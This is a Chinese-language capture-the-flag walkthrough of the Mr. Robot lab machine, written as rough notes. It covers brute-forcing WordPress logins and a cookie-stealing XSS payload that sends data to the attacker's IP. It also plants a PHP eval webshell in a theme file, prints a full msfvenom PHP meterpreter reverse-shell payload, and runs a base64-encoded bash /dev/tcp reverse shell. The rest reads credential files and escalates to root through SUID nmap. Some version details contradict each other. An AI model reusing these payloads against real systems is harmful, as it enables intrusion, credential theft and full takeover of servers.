端口目录
[22:36:32] 200 - 504KB - /intro
[22:36:37] 200 - 158B - /license
[22:36:37] 200 - 158B - /license.txt
[22:37:05] 200 - 64B - /readme
[22:37:06] 200 - 64B - /readme.html
[22:37:08] 200 - 41B - /robots.txt
[22:37:38] 200 - 21B - /wp-admin/admin-ajax.php
[22:37:39] 200 - 1KB - /wp-login.php
[22:37:39] 200 - 1KB - /wp-login/
[22:37:39] 200 - 1KB - /wp-login
重点
/license.txt 、/robots.txt、/readme.html:wordpress 默认说明文件
/wp-login.php、/wp-login/:WordPress 后台登录页面,这是突破口
/wp-admin/、wp‑content、wp‑config.php:wp 核心目录文件
目录访问
/license
what you do just pull code from Rapid9 or some s@#% since when did you become a script kitty?
翻译:
你就只会复制 Rapid9(WPScan 所属公司)的代码吗?从什么时候起你变成只会跑工具的脚本小子了?
/robots.txt
fsocity.dic
fsocity.dic 是一个出自热门安全挑战 “Mr. Robot” CTF(夺旗赛) 的密码字典文件
生成一个精简的新字典文件。例如:
sort fsocity.dic | uniq > fsocity_uniq.dic
key-1-of-3.txt
073403c8a58a1f80d943455fb30724b9
这是第一个key
/WordPress
/wp-login.php
这个可用刚刚的账号密码破解
没破出来:
现在点击忘记密码:
爆破这个
发现一个奇怪的
说明用户名就是这个
elliot
现在继续用这个用户名来·暴力破解密码
找到密码:ER28-0652
elliot登录wordpress
elliot
ER28-0652
来就看到版本信息WordPress 7.0.4,直接查看该版本漏洞
msfconsole
#搜索4.3.1相关
search wordpress 4.3.1
msf 里面没有针对 WordPress 核心 4.3.1 的 EXP 利用模块,搜出来的只是某第三方插件的漏洞。
放弃这一想法
发现新的用户mich05654
暴力破解:
得到密码:Dylan_2791
登录后发现没有用
放弃这条路,现在去测试刚刚的XSS
回到管理员用户(elliot)使用XSS
点击查看文章后
有XSS
那就
只要管理员访问你的这篇恶意文章,浏览器就会执行你的 JS,拿到管理员 Cookie。
步骤 1:构造偷管理员 Cookie 的 Payload
把文章标题替换为下面 payload,把192.168.113.100改成 kali 的 IP:
<script>fetch('http://192.168.113.138/steal?c='+document.cookie)</script>
步骤 2:Kali 开启 HTTP 接收 cookie
mkdir /tmp/xss
cd /tmp/xss
python3 -m http.server 80
拿到的这组 cookie没有 wordpress_logged_in_ 登录凭证。
wordpress_test_cookie 只是 WP 用来测试 cookie 功能是否开启的测试 cookie,不是登录凭证。
其余都是前端浏览设置、统计类 cookie,拿到也无法实现后台登录。
放弃XSS
修改页面代码注入一句话木马
elliot本身就是管理员,XSS 在这里不再用来偷权限,XSS 只是一个执行 JS 的入口;拿到 shell 的核心是 WordPress 后台上传 / 写文件拿 Webshell。
http://192.168.113.144/wp-admin
自理有很多php文件
随便选一个注入一句话木马
@eval($_POST['cmd']); phpinfo();
成功触发
一剑上线:
http://192.168.113.144/wp-content/themes/twentyfifteen/404.php
cmd
提权
打开终端
进行信息收集:
id
whoami
uname -a
cat /etc/passwd
pwd
env
sudo -l
现在用户是daemon
要提权才是真正的成功
着重看有没有用户有/bin/bash,可以提权(DC-4后遗症)
查看靶机内的用户,发现只有robot在/home下有目录,不过查看/etc/passwd并没有指定bash
切换到robot下,发现有密码文件,具有查看权限,查看发现是md5加密
c3fcd3d76192e4007dfb496cca67e13b
这个是第二个key
这个是robot的密码:abcdefghijklmnopqrstuvwxyz
(daemon:/)$uname-a
Linuxlinux3.13.0-55-generic#94-UbuntuSMPThuJun1800:27:10UTC2015x86_64x86_64x86_64GNU/Linux
系统:Ubuntu Linux 3.13.0‑55‑generic
绝对有漏洞
msf查看Ubuntu Linux 3.13.0‑55‑generic版本漏洞
search Linux 3.13.0
内核 3.13.0‑55‑generic 完全命中该漏洞,msf 内置本地提权模块,不用上传脏牛源码,直接 meterpreter 会话内执行。
使用前提
必须拿到Meterpreter会话(普通 nc bash shell 不能跑这个 local 模块)。
如果你现在只有蚁剑 webshell:
- msf 执行exploit/multi/script/web_delivery生成 php payload
- 在蚁剑终端粘贴执行 payload,拿到 meterpreter 会话。
前提:kali MSF 已经开好 handler 监听,等待上线
use exploit/multi/handler
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 192.168.113.138
set LPORT 4440
run
1、kali 生成 payload 代码(新开终端,不要关监听)
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.113.138 LPORT=4440 -f raw
Payload size: 1116 bytes
/*<?php /**/ error_reporting(0); $ip = '192.168.113.138'; $port = 4440; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();
完整全部复制,一行都不要丢。
2、切换蚁剑,打开【终端】标签页
注意:不是文件上传,就在蚁剑自带终端框里面直接粘贴运行。
蚁剑终端里面直接粘贴刚刚复制的全部 php 代码,直接回车执行。
失败
问了豆包
蚁剑终端是 Linux shell,不是 PHP 执行环境!
你直接粘贴 PHP 代码,shell 把 php 当成 bash 命令解析,直接报语法错误。
❌不能直接在蚁剑的命令行终端粘贴 PHP 源码。
数据库
先在kali上线:
nc -lnvp
cmd=system('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMy4xMzgvMTExMSAwPiYx|base64 -d|bash');
首先查看wordpresss连接数据库的文件wp-config.php
find / -name "wp-config.php" 2>/dev/null
cat /opt/bitnami/apps/wordpress/htdocs/wp-config.php
用户名bn_wordpress,密码570fd42948,数据库名称bitnami_wordpress,端口是3306
数据库类型是mysql
使用find寻找具有SUID权限文件,发现sudo,不过测试,当前用户不许sudo
find / -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
找到了nmap可以进行提权
这里的nmap不能直接使用, 环境变量 的问题,需要使用绝对路径
尝试第一种方法,发现提权不成功,版本在第二种提权方式范围内,尝试第二种方式
/usr/local/bin/nmap --interactive
!sh
提权成功!